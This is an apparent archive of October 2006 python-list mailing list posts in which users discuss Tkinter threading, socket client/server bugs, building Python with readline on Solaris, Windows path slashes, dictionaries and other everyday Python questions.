a setter.  In Python, you can omit the setter at first (so there's no
restriction), then later decide you want to add the restriction, so
you add the setter.  In Java, if you omit the setter at first and then
later want to add it, you have to change all the client calls.


From diesch at spamfence.net  Tue Oct 17 10:13:59 2006
From: diesch at spamfence.net (Florian Diesch)
Date: Tue, 17 Oct 2006 16:13:59 +0200
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.93.1160373988.11739.python-list@python.org>
	<egd0k3$u3r$2@lust.ihug.co.nz>
	<mailman.171.1160464326.11739.python-list@python.org>
Message-ID: <20061017141359.2044.0.NOFFLE@dieschf.news.arcor.de>

"Hendrik van Rooyen" <mail at microcorp.co.za> wrote:

> "Lawrence D'Oliveiro" <ldo at geek-central.gen.new_zealand> wrote:
>
>
>> In message <mailman.93.1160373988.11739.python-list at python.org>, Hendrik van
>> Rooyen wrote:
>>
>> > "Lawrence D'Oliveiro" <ldo at geek-central.gen.new_zealand> wrote:
>> >
>> > 8<--------------------------------------------------------
>> >
>> >> I wonder if we need another "middle" field for holding the "bin/binte"
>> >> part (could also hold, e.g. "Van" for those names that use this).
>> >
>> > NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a
>> > space in it - and its peculiar in that the first letter is not
>> > capitalised....
>> >
>> > And I am sure that the people called "von Kardorff" would not agree
>> > either...
>>
>> So do the Dutch phone books have a lot of entries under V, then?
>>
>> It just seems less efficient to me, that's all.
>
> Don't know about what happens in Holland - my ancestors came over here to South
> Africa a long time ago -
> a mixed up kid I am - Dutch and French from the time of the revocation of the
> edict of Nantes...
> And yes, here the phone books are sorted that way - the "van Rensburg"s precede
> the "van Rooyen"s. And what is worse, there are a lot of "van der"s too - two
> spaces in the string like "van der Merwe" who are preceded by "van der Bank"  -
> "van" basically means "from" - like the German "von" - but in Germany its an
> appellation applied to the nobility - 

In Germany "von" is just a part of the name since 1919 when the nobility
was abolished by law. In the local phonebook it seems it's up tgo the
people how they want to be sorted. I see e.g. both "von F?rstenberg,
Ulrich" and "F?rstenberg, Constantin von".


> and in my name it makes no sense as "Rooyen" is not a place - its a
> strange archaic derivative of the colour red - "rooij' in Dutch, spelt

In Germany names like that were created when a commoner was
ennobled. There is a "von Roth" in the lokal phonebook ("roth" is an
archaic spelling of "rot" which means "red")



   Florian
-- 
<http://www.florian-diesch.de/>


From mail at microcorp.co.za  Thu Oct  5 05:57:28 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Thu, 5 Oct 2006 11:57:28 +0200
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org>	<op.tgwml9x1rqur0o@eb.pragmadev>	<mailman.1279.1159985794.10491.python-list@python.org><op.tgxs4cobrqur0o@eb.pragmadev>
	<eg2c11$rmk$1@sea.gmane.org>
Message-ID: <008601c6e865$1104b560$03000080@hendrik>

"Fredrik Lundh" <fredrik at pythonware.com> wrote:
> Eric Brunel wrote:
>
> > AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize
> > the calls from different threads may seem to work (I never tested it
> > actually), but the safest way I found to use threads with Tkinter was to
> > call it only from the thread where the main loop executes.
>
> the Tkinter binding contains some code that attempts to deal with re-
> entrant calls, but I don't know/remember to what extent it's actually
> supposed to work (in other words, if the observed problems are bugs or
> just limitations).
>
> (maybe Martin's memory is better?)
>
> anyway, I usually play it safe and make sure to use a single thread to
> deal with the UI.
>
> </F>

I must be dense - After I have called mainloop, if I have not started another
thread to respond to events that are not generated by the user on the screen (in
this case values of variables to display from the field generated by different
processes - there is other hardware out there), how do I get control back to do
the necessary updating? - I suppose I can use the call back after some time
thingy to implement a polling loop - possibly as Russel Owen suggested - by
polling a queue - but queues are for between threads - and I have seen here
somewhere that sockets also want to be the main thread  - so that leaves a
pipe - and I have had bad experiences with pipes that are unblocked, and if I
don't unblock it, then the gui will grind to a halt....so I need a thread for
the pipe between processes, and a queue between threads, and a time out based
polling loop to read the queue, it seems - is it even safe to change a main loop
variable from another thread? , or should I do it all via commands through a
queue, implementing a whole goddam serial protocol just between threads?  and If
I don't have another thread to do the timing for the animation bits, then I must
base that on a timed callback too, and somehow keep state between callbacks...
now is it ok to call widget command methods from a callback in the same thread,
or do I have to use invoke?

My head is beginning to hurt... - what was a nice simple threaded implementation
is turning into a spaghetti monster of timed callbacks - you thought gotos was
bad? - you aint seen nothing yet...

- Hendrik



From hanumizzle at gmail.com  Fri Oct 13 15:48:52 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 15:48:52 -0400
Subject: wing ide vs. komodo?
In-Reply-To: <tURXg.27343$Go3.5193@dukeread05>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.480.1160767168.11739.python-list@python.org>
	<tURXg.27343$Go3.5193@dukeread05>
Message-ID: <463ff4860610131248p3fb8a4cfw99edeef4a13ef2de@mail.gmail.com>

On 10/13/06, hg <hg at nospam.com> wrote:

> I'm really interested: my *small* company is ready to spend the ~300$ in
> the process, but Komodo looks _very_ sparse.
>
> How do you go about it? ... I have resources to look at it for one or
> two days.

It's entirely possible you could use a free IDE as well. (Just
throwing it out there.)

-- Theerasak


From bignose+hates-spam at benfinney.id.au  Mon Oct  9 19:27:32 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 10 Oct 2006 09:27:32 +1000
Subject: A curses-game I need help with.
References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>
	<1160412739.247683.218620@k70g2000cwa.googlegroups.com>
Message-ID: <87u02d9ijf.fsf@benfinney.id.au>

"Gasten" <operagasten at gmail.com> writes:

> I would like to know what I did wrong. Too?many spellingmisstakes?
> Shitty code? No one understands? No one got the answer? Should I
> wait a little longer?  Thank you.

For my part, I skipped over your post because the code was far too long.

If you have a problem you'd like a lot of people to look at, the most
effective way is to make a short, complete example that demonstrates
exactly the problem you're trying to understand.

This approach has the bonus benefit that, in isolating the problem for
this purpose, you often gain a better understanding of it yourself
before posting it :-)

-- 
 \           "Earth gets its price for what Earth gives us."  -- James |
  `\                                                    Russell Lowell |
_o__)                                                                  |
Ben Finney



From no-spam at no-spam-no-spam.com  Thu Oct 26 15:30:04 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 26 Oct 2006 21:30:04 +0200
Subject: conditional computation
Message-ID: <ehr2bu$24l9$1@ulysses.news.tiscali.de>

I want to use a computation cache scheme like


	o = CACHECOMPUTE  complex-key-expr  expensive-calc-expr 


frequently and elegantly without writing complex-key-expr or expensive-calc-expr twice.
So its ugly:

	_=complex-key-expr; o=cache.get(_) or cache.setdefault(_,expensive-calc-expr)

Any ideas?

-robert



From python at hope.cz  Sat Oct 21 03:20:46 2006
From: python at hope.cz (Lad)
Date: 21 Oct 2006 00:20:46 -0700
Subject: FOR statement
In-Reply-To: <1161355685.049304.314360@m7g2000cwm.googlegroups.com>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
	<1161355685.049304.314360@m7g2000cwm.googlegroups.com>
Message-ID: <1161415246.276053.213680@m7g2000cwm.googlegroups.com>


wittempj at hotmail.com wrote:
> Lad wrote:
> > If I have a list
> >
> > Mylist=[1,2,3,4,5]
> > I can print it
> >
> > for i in Mylist:
> >    print i
> >
> > and results is
> > 1
> > 2
> > 3
> > 4
> > 5
> >
> >
> > But how can I  print it in a reverse order so that I get
> > 5
> > 4
> > 3
> > 2
> > 1
> >
> >
> >
> > ?
> >
> >
> > Thanks.
> > L
>
> reverse the list in place with reverse method
>
> l.reverse()
> for i in l:
>     print i
> 
> and the reverse it back if needed

Thank you ALL for help.
L.



From bearophileHUGS at lycos.com  Wed Oct 25 16:49:39 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 25 Oct 2006 13:49:39 -0700
Subject: Is there a python development site for putting up python
	libraries that people might be interest in working on?
In-Reply-To: <mailman.1201.1161807213.11739.python-list@python.org>
References: <mailman.1201.1161807213.11739.python-list@python.org>
Message-ID: <1161809379.161728.120560@m73g2000cwd.googlegroups.com>

Kenneth McDonald:
> * Construction of re's is object oriented, and does not require any
> knowledge of re syntax.

I have partially done something similar, so I am interested.
Does rex outputs normal REs? Or does it wraps them in some way? A
normal RE output has some advantages, even if you can't have some
functionalities.


> * I'm not entirely sure the API is ideal. Some discussion is needed on this.

The API is probably the most important thing in this kind of code. It
requires care, good initial design, and a lot of practical usage by
some people.


> * Everything is in a single file. This should be split up.

Sometimes a single file is good too, because it makes the management
simpler, you don't need to keep directories, etc. So you can keep it
that way, or maybe you can (automatically) keep two versions, one
single file and one splitted in more files.

Many constants: maybe there are ways to design the code to use less
constants, like making it accept strings as arguments instead of
constants, like rex.fun("foo") instead of rex.fun(rex.FOO), like
Tkinter does.


> I would like to avoid putting this up on sourceforge as I think it would
> do much better at a site aimed specifically at Python development.

Cheeseshop?

Bye,
bearophile



From Eric_Dexter at msn.com  Mon Oct 16 00:46:00 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 15 Oct 2006 21:46:00 -0700
Subject: wx.grid question (trying to use code from Grid_Example.py)
Message-ID: <1160973960.113552.200490@i3g2000cwc.googlegroups.com>

I am having trouble trying to reuse the code that was provided in the
wxdemo package of wxpython.  The program I am trying to use parts of is
Grid_MegaExample.py thier code is

class MegaTable(Grid.PyGridTableBase):
    """
    A custom wx.Grid Table using user supplied data
    """
    def __init__(self, data, colnames, plugins):
        """data is a list of the form
        [(rowname, dictionary),
        dictionary.get(colname, None) returns the data for column
        colname
        """
        # The base class must be initialized *first*
        Grid.PyGridTableBase.__init__(self)
        self.data = data
        self.colnames = colnames
        self.plugins = plugins or {}
        # XXX
        # we need to store the row length and column length to
        # see if the table has changed size
        self._rows = self.GetNumberRows()
        self._cols = self.GetNumberCols()

My code is

import wx.grid
import os
import sys
import string
import Grid_MegaExample

def create_grid():
    win = Grid_MegaExample.MegaTable(self, data, colnames, pugins)
    win.Show(True)

def create_colums(line):
    "creates colums based on what is passed to subroutine"
    for word in line:
        colnames = word

def create_sco_grid(from_file):
    "reads .sco file and inputs it into a wx.grid"
    data = []
    infile = open(from_file, 'r')
    testline = 'false'
    for line in infile:
        if """;<sco_header>""" in line:
            create_colums(line)
            testline = 'true'
        if testline == 'true':
            for word in line:
                data.append(word)
    create_grid()
create_sco_grid("""test.sco""")
            
        
        
        
http://www.dexrow.com



From fredrik at pythonware.com  Sun Oct 22 04:57:30 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Oct 2006 10:57:30 +0200
Subject: A Comparison Of Dynamic and Static Languiges
In-Reply-To: <ehf865$him$1@sea.gmane.org>
References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>	<eY$5v#T9GHA.2288@TK2MSFTNGP05.phx.gbl>	<mailman.913.1161469369.11739.python-list@python.org>	<1161474350.522418.13440@i42g2000cwa.googlegroups.com>
	<ehf865$him$1@sea.gmane.org>
Message-ID: <ehfbpq$r5m$1@sea.gmane.org>

Steve Holden wrote:

> Since network 127 is reserved in its entirety for loopback (local 
> process) use, it would seem that any DNS name that maps to an address in 
> that space with the single exception of "localhost" should be treated as 
> a spammer.

countries.nerd.dk is a DNS blackhole system that can be used to filter 
on originating country.  like most other DNSBL systems, it uses loopback 
addresses to return status codes (in this case, country codes).

</F>



From miles.chris at gmail.com  Sun Oct 15 10:13:14 2006
From: miles.chris at gmail.com (Chris Miles)
Date: Sun, 15 Oct 2006 15:13:14 +0100
Subject: Cannot force configure/setup.py to pick up location of readline
	(SFWrline) on Solaris 10
In-Reply-To: <ego1sl$18p$1@sea.gmane.org>
References: <ego1sl$18p$1@sea.gmane.org>
Message-ID: <453241FA.4030103@gmail.com>

Thanks to those who offered suggestions for this.

It appears that building Python 2.4.3 on Solaris 10 with readline 
(SFWrline package) support is a little long-winded but possible, using 
the following steps:

$ ./configure --prefix=/opt/python-2.4.3 --enable-shared
$ vi Modules/Setup.local
--- add one line: ---
readline readline.c -I/opt/sfw/include -L/opt/sfw/lib -lreadline -ltermcap
---------------------
$ make
### will fail with ld error: ###
Undefined                       first referenced
symbol                             in file
initreadline                        ./libpython2.4.so
ld: fatal: Symbol referencing errors. No output written to python
collect2: ld returned 1 exit status
*** Error code 1
make: Fatal error: Command failed for target `python'

### however, just running make again ends up building fine ... ###
$ make
$ make install  # might need root access (sudo/su)

I hope this process can be improved, and if I have time I'll look at why 
make fails half way but works fine when kicked off a second time.

I'd like to get /opt/sfw/ added to the standard lib/include path for 
Solaris (10 at least) as this is where Sun's open-source packages get 
installed.  Is this just a matter of raising a ticket?

Cheers,
Chris


Chris Miles wrote:
> On a standard Solaris 10 installation with Sun-supplied open-source 
> packages installed (like SFWrline for readline libs) I cannot seem to 
> force Python configure/setup.py to build with readline support.

-- 
http://chrismiles.info/



From fulvio at tm.net.my  Fri Oct 13 13:59:41 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sat, 14 Oct 2006 01:59:41 +0800
Subject: Best IDE?
In-Reply-To: <505f13c0610130817g41d6fd03qf62c8c0338292554@mail.gmail.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com>
	<505f13c0610130817g41d6fd03qf62c8c0338292554@mail.gmail.com>
Message-ID: <200610140159.41762.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Friday 13 October 2006 23:17, limodou wrote:
> hope you try it.

If you'll manage for macro recording, playing back and from file then I'll be 
yours :)

F



From siona at chiark.greenend.org.uk  Mon Oct 23 11:02:19 2006
From: siona at chiark.greenend.org.uk (Sion Arrowsmith)
Date: 23 Oct 2006 16:02:19 +0100 (BST)
Subject: implementation of "in" that returns the object.
References: <mailman.939.1161527588.11739.python-list@python.org>
Message-ID: <xwc*EzZtr@news.chiark.greenend.org.uk>

Jorge Vargas <jorge.vargas at gmail.com> wrote:
>I need to check if an object is in a list AND keep a reference to the
>object I have done it this way but is there a better one?
>
>>>> def inplusplus(value,listObj):
>...     for i in listObj:
>...             if i is value:
>...                     return value
>...     return False
>...

try:
    obj = listObj[listObj.index(value)]
    # do something with obj
except ValueError:
    # do whatever you're going to do if inplusplus returns False

Assuming you meant "if i == value" (as others have pointed out).

-- 
\S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/
  ___  |  "Frankly I have no feelings towards penguins one way or the other"
  \X/  |    -- Arthur C. Clarke
   her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump


From onurb at xiludom.gro  Wed Oct 25 10:20:06 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 16:20:06 +0200
Subject: To remove some lines from a file
In-Reply-To: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
Message-ID: <453f7296$0$9153$426a34cc@news.free.fr>

umut.tabak at student.kuleuven.be wrote:
> Dear all,
> 
> I am quite new to python. I would like to remove two lines from a file.

The canonical way to do so (at least for text files - which is the case
here) is :

open the source file in read mode
open a tmp file in write mode

for each line in source file:
  if this line should be kept:
     write it to the tmp file

close both files
replace source file with tmp file

(snip)

> I would like to call this as
> 
> myscript targetfile
> 
> I have read sth about command line arguments. Perhaps I can cope with
> that myself but help is also appreciated on that.

import sys
print sys.argv


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From python.list at tim.thechases.com  Thu Oct 26 13:37:37 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 26 Oct 2006 12:37:37 -0500
Subject: [OT] Win32 and forward/backslashes (was "The format of filename")
In-Reply-To: <4540E98A.2080400@probo.com>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>	<mailman.1074.1161701843.11739.python-list@python.org>	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>	<slrnejsb2q.1pk.horpner@FIAD06.norwich.edu>	<slrnejsc0e.1pk.horpner@FIAD06.norwich.edu>
	<l8l0k25bvmcdpm6tmd7rnkodd6i7um9l23@4ax.com>
	<4540B26D.1020609@tim.thechases.com> <4540E98A.2080400@probo.com>
Message-ID: <4540F261.9060905@tim.thechases.com>

Tim Roberts wrote:
>> C:\temp\foo\bar>cd ..
>> C:\temp\foo>cd ..
>> C:\temp>cd /foo/bar
> 
> This one does not work for me, but as long as the initial slash is back,
> the rest can be foreward:
> 
>     C:\tmp>cd /foo/bar
>     The system cannot find the path specified.
>     C:\tmp>cd \foo/bar
>     C:\foo\bar>
> 
> What OS are you running?  Do you have the shell extensions enabled?  The
> latest cd does take a parameter (/d), so I wouldn't expect it to work.

This is cmd.exe on XP (SP2) with shell extensions enabled.

Note the subtle difference though...your "foo" is in the root 
directory...mine is in the current directory.  My result of

C:\temp>cd /foo/bar

is

C:\temp\foo\bar>

not

C:\foo\bar>

>> C:\temp>cmd < foo/bar/pip
>> [directory listing within a subshell]
> 
> I'm also surprised by this one.  I'll file this away for my next NT
> trivia contest...

You're a sick, sick fellow. :)  I just stumbled across it while 
trying various shot-in-the-dark permutations of command calls 
with f-slashes and b-slashes in paths.

>> C:\temp>cmd < /foo/bar/pip
>> The system cannot find the path specified.

And strangely,

C:\temp>cmd < /temp/foo/bar/pip

fails as well.  In more misadventures:

C:\temp>echo dir > zip
C:\temp>move zip foo/bar
C:\temp>dir /b foo\bar
pip
zip
C:\temp>move foo/bar/zip .
The system cannot find the path specified.

Okay...MOVE likes it as a destination, but not as a source. 
Aaaggghh...If I had any hair, I'd be pulling it out.  Move and 
copy are similar options.  Let's try copy:

C:\temp>move foo\bar\zip .
C:\temp>copy zip foo/bar
         1 file(s) copied.
C:\temp>del zip
C:\temp>copy foo/bar/zip .
foo\zip
100% copied         1 file(s) copied.

<sarcasm>Of course!  MOVE only accepts forward slashes in 
destinations, not the source.  But COPY accepts either.</sarcasm> 
  Maybe?

C:\temp>md foo\baz
C:\temp>dir /s/b
c:\temp\foo
c:\temp\zip
c:\temp\foo\bar
c:\temp\foo\baz
c:\temp\foo\zip
c:\temp\foo\bar\pip
c:\temp\foo\bar\zip

There's no "zip" in the "baz" directory, so let's copy it there:

C:\temp>copy foo/bar/zip foo/baz
foo\zip
Overwrite foo\zip? (Yes/No/All): y
The file cannot be copied onto itself.
         0 file(s) copied.

What the [expletive]!?  Well, there's a "zip" in our temp 
directory, but no "pip".  How about we try copying "pip" to the 
"baz" directory instead while keeping the same syntax as above?

C:\temp>copy foo/bar/pip foo/baz
The syntax of the command is incorrect.

BLOODY MADNESS!

Some OS programmer doesn't seem to have graduated from their 
CompSci program...

-tkc





From blue99 at interia.pl  Tue Oct 17 10:07:47 2006
From: blue99 at interia.pl (Rob Wolfe)
Date: 17 Oct 2006 07:07:47 -0700
Subject: Looking for assignement operator
In-Reply-To: <eh2n08$4ji$1@online.de>
References: <eh2n08$4ji$1@online.de>
Message-ID: <1161094067.861423.78250@e3g2000cwe.googlegroups.com>


Alexander Eisenhuth wrote:
> Hello,
>
> is there a assignement operator, that i can overwrite?

You can't overwrite assignment operator, but you can
overwrite methods of numeric objects:

http://docs.python.org/ref/numeric-types.html

HTH,
Rob



From hanumizzle at gmail.com  Wed Oct 11 05:13:54 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 05:13:54 -0400
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <egic47$irg$1@sea.gmane.org>
References: <mailman.259.1160543174.11739.python-list@python.org>
	<452cab5d$0$5294$426a74cc@news.free.fr>
	<463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>
	<egic47$irg$1@sea.gmane.org>
Message-ID: <463ff4860610110213v792e2fddr989d5d724270838@mail.gmail.com>

On 10/11/06, Fredrik Lundh <fredrik at pythonware.com> wrote:

> can be a lot better than a 30-level traceback that ends with a line
> looking something like
>
>      fnut.index(gah)

Despite long experience with Perl, I am not a big follower of the
"goose_level: blah" method of error reporting...

> also, checking for __method__ is, in general, not the right way to check
> if an object implements a given interface.

I had a vague feeling it might not be a Right Thing(tm).
<flame-proof-underwear>I kind of miss
responds_to?</flame-proof-underwear>

> so if you can, try doing the operation instead, and catch error (if you
> really need to check first, use an idempotent operation, if available).

I'll do that as soon as my green noggin figures out what 'idempotent' means.

Serves me right for being a liberal arts weenie:
http://www.c2.com/cgi/wiki?ThaiLanguage

-- Theerasak


From bborcic at gmail.com  Tue Oct 10 09:49:50 2006
From: bborcic at gmail.com (Boris Borcic)
Date: Tue, 10 Oct 2006 15:49:50 +0200
Subject: Logic Programming
In-Reply-To: <1160486539.646429.129230@i42g2000cwa.googlegroups.com>
References: <1160486539.646429.129230@i42g2000cwa.googlegroups.com>
Message-ID: <452ba52d_4@news.bluewin.ch>


I believe some work has been down in pypy to bring logic programming to python.
You might ask pypy-dev

Google leads to http://codespeak.net/pypy/dist/pypy/doc/howto-logicobjspace-0.9.html


From exarkun at divmod.com  Wed Oct  4 22:50:03 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Wed, 4 Oct 2006 22:50:03 -0400
Subject: socket client server... simple example... not working...
In-Reply-To: <1160015498.917617.256110@c28g2000cwb.googlegroups.com>
Message-ID: <20061005025003.1717.1757623508.divmod.quotient.67728@ohm>

On 4 Oct 2006 19:31:38 -0700, SpreadTooThin <bjobrien62 at gmail.com> wrote:
>client:
>
>import socket
>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>s.connect(("192.168.1.101", 8080))
>print 'Connected'
>s.send('ABCD')

Here you didn't check the return value of send to determine if all of the string was copied to the kernel buffer to be sent, so you may have only succeeded in sending part of 'ABCD'.

>buffer = s.recv(4)

in the above call, 4 is the maximum number of bytes recv will return.  It looks as though you are expecting it to return exactly 4 bytes, but in order to get that, you will need to check the length of the return value and call recv again with a lower limit until the combination of the return values of each call gives a total length of 4.

>print buffer
>s.send('exit')

Again, you didn't check the return value of send.

>
>
>server:
>
>serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>serversocket.bind(("192.168.1.101", 8080))
>serversocket.listen(5)
>print 'Listen'
>(clientsocket, address) = serversocket.accept()
>print 'Accepted'
>flag = True
>while flag:
>	chunk = serversocket.recv(4)

You're calling recv on serversocket instead of on clientsocket.  You're also relying on recv to return exactly 4 bytes, which it may not do.

>	if chunk == '':
>		raise RuntimeError, "socket connection broken"
>	elif chunk == 'exit':
>		flag = False
>	else:
>		serversocket.send(chunk)

Another missing check of the return value of send.

>print 'Done'
>
>Server says!
>
>Listen
>Accepted
>Traceback (most recent call last):
>  File "server.py", line 11, in ?
>    chunk = serversocket.recv(4)
>socket.error: (57, 'Socket is not connected')
>
>
>Client says:
>Connected
>
>What have I done wrong now!

I recommend switching to Twisted.  The Twisted equivalent (I guess - the protocol defined above is strange and complex (probably unintentionally, due to the things you left out, like any form of delimiter) and I doubt I really understand the end goal you are working towards), minus bugs (untested):

    # client.py
    from twisted.internet import reactor, protocol

    class Client(protocol.Protocol):
        buf = ''
        def connectionMade(self):
            self.transport.write('ABCD')
        def dataReceived(self, data):
            self.buf += data
            if len(self.buf) >= 4:
                reactor.stop()

    protocol.ClientCreator(reactor, Client).connectTCP('192.168.1.101', 8080)
    reactor.run()

    # server.py
    from twisted.internet import reactor, protocol
    
    class Server(protocol.Protocol):
        buf = ''
        def dataReceived(self, bytes):
            self.buf += bytes
            exit = self.buf.find('exit')
            if exit != -1:
                self.transport.write(self.buf[:exit])
                self.buf = self.buf[exit + 4:]
                reactor.stop()
            else:
                self.transport.write(self.buf)
                self.buf = ''

    f = protocol.ServerFactory()
    f.protocol = Server
    reactor.listenTCP('192.168.1.101', 8080, f)
    reactor.run()

Hope this helps,

Jean-Paul


From ptmcg at austin.rr._bogus_.com  Sun Oct 29 23:31:45 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 30 Oct 2006 04:31:45 GMT
Subject: looping through two list simultenously
References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>
Message-ID: <Ref1h.25342$GR2.6561@tornado.texas.rr.com>

"CSUIDL PROGRAMMEr" <syedamjad_a at yahoo.com> wrote in message 
news:1162153701.052043.160030 at h48g2000cwc.googlegroups.com...
> folks
> I have two lists
>
> i am trying to loop thorough them simultenously.
>
> Here is the code i am using
>
> f1 = os.popen('ls  chatlog*.out')
> data1=f1.readlines()
> f1.close()
>
> data1=[x.strip() for x in data1]
> f1 = os.popen('ls  chatlog*.txt')
> data=f1.readlines()
> f1.close()
> for eachline in data1 and line in data:

Change:
for eachline in data1 and line in data:

to:
for eachline, line in zip(data1,data):


-- Paul 




From mike$#at^&nospam!%trauschus  Fri Oct 27 08:34:28 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Fri, 27 Oct 2006 08:34:28 -0400
Subject: Tracing the execution of scripts?
In-Reply-To: <ehs4bt$1b8$1@kohl.informatik.uni-bremen.de>
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
	<ehs4bt$1b8$1@kohl.informatik.uni-bremen.de>
Message-ID: <4t-dnT4vc4VKYdzYnZ2dnUVZ_rqdnZ2d@comcast.com>

Stephan Kuhagen wrote:
> "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote:
> 
>> Basically, is there something that will log every line of Python code
>> executed, in its order of execution, to a text file so that I can see
>> what is (or isn't) happening that I am expecting?
> 
> Python itself can do this for you. A __VERY__ simple approach:
> 
[snip]
> 
> Insert this in you program and you get a trace of every line of Python-Code
> executed in the file trace.txt. You must read the documentation of the
> module inspect and of sys.settrace() to understand, what happens and what
> it means. Additionally, if it should work with threads, you must take care
> that every thread gets its own output file. But as a first step to get a
> trace of execution, this should do it.
> 

I will need to keep this around to look at a little later.  It looks
like it would be something particularly useful when line-tracing by
itself fails.  I am constantly finding myself amazed at Python's
capabilities.

	-- Mike


From steve at holdenweb.com  Tue Oct 24 21:02:59 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 02:02:59 +0100
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
Message-ID: <ehmd21$26q$1@sea.gmane.org>

pretoriano_2001 at hotmail.com wrote:
> Hello:
> I have next dictionaries:
> a={'a':0, 'b':1, 'c':2, 'd':3}
> b={'a':0, 'c':1, 'd':2, 'e':3}
> I want to put in a new dictionary named c all the keys that are in b
> and re-sequence the values. The result I want is:
> c={'a':0, 'c':1, 'd':2}
> How can I do this with one line of instruction?
> 
You can't. Dictionaries aren't ordered collections.

> I attempted the next but the output is not the expected:
> c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
> erroneously (for me) gets:
> {'a': 0, 'c': 2, 'd': 3}
> 
> Thanks for your help.
> 
In Python {'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3}

Sounds like you want an ordered dictionary. Several people have 
implemented such a beast, but I have never felt the need for one.

Alternatively, perhaps the ordering of the elements isn't really important.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From hanumizzle at gmail.com  Fri Oct  6 01:01:26 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 01:01:26 -0400
Subject: [Linux] Detect a key press
In-Reply-To: <1160109947.304308.83910@i3g2000cwc.googlegroups.com>
References: <1160109947.304308.83910@i3g2000cwc.googlegroups.com>
Message-ID: <463ff4860610052201r414faf43i99a67e0f01b353a6@mail.gmail.com>

On 5 Oct 2006 21:45:47 -0700, Jia,Lu <Roka100 at gmail.com> wrote:
> Hi all
>   I write a program to detect key press,but , why there is a *space*
> before the character I typed.??

Puzzles me too, but I know this is really easy in Curses (on top of
that, it isn't specific to Linux; curses works on many terminals)

http://www.amk.ca/python/howto/curses/

-- Theerasak


From python.list at tim.thechases.com  Thu Oct 19 11:54:40 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 19 Oct 2006 10:54:40 -0500
Subject: Dictionaries again - where do I make a mistake?
In-Reply-To: <1161272376.402525.188810@k70g2000cwa.googlegroups.com>
References: <1161272376.402525.188810@k70g2000cwa.googlegroups.com>
Message-ID: <45379FC0.1080800@tim.thechases.com>

>  but I can not create Newdict to be sorted properly.
> 
> Where do I make a mistake?

By assuming that dictionaries *can* be sorted.

For more reading:
http://aspn.activestate.com/ASPN/Python/Cookbook/Recipe/52306
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/107747

They're intrinsically an unsorted datatype.

-tkc





From uche.ogbuji at gmail.com  Fri Oct  6 14:13:10 2006
From: uche.ogbuji at gmail.com (uche.ogbuji at gmail.com)
Date: 6 Oct 2006 11:13:10 -0700
Subject: File I/O
In-Reply-To: <1159603138.898464.64040@k70g2000cwa.googlegroups.com>
References: <1159524677.406011.250420@i3g2000cwc.googlegroups.com>
	<1159526934.077334.69080@i42g2000cwa.googlegroups.com>
	<1159527353.447436.107610@i42g2000cwa.googlegroups.com>
	<1159603138.898464.64040@k70g2000cwa.googlegroups.com>
Message-ID: <1160158390.599232.145750@i42g2000cwa.googlegroups.com>

Ant wrote:
> Kirt wrote:
> ...
> > i dont wanna parse the xml file..
> >
> > Just open the file as:
> >
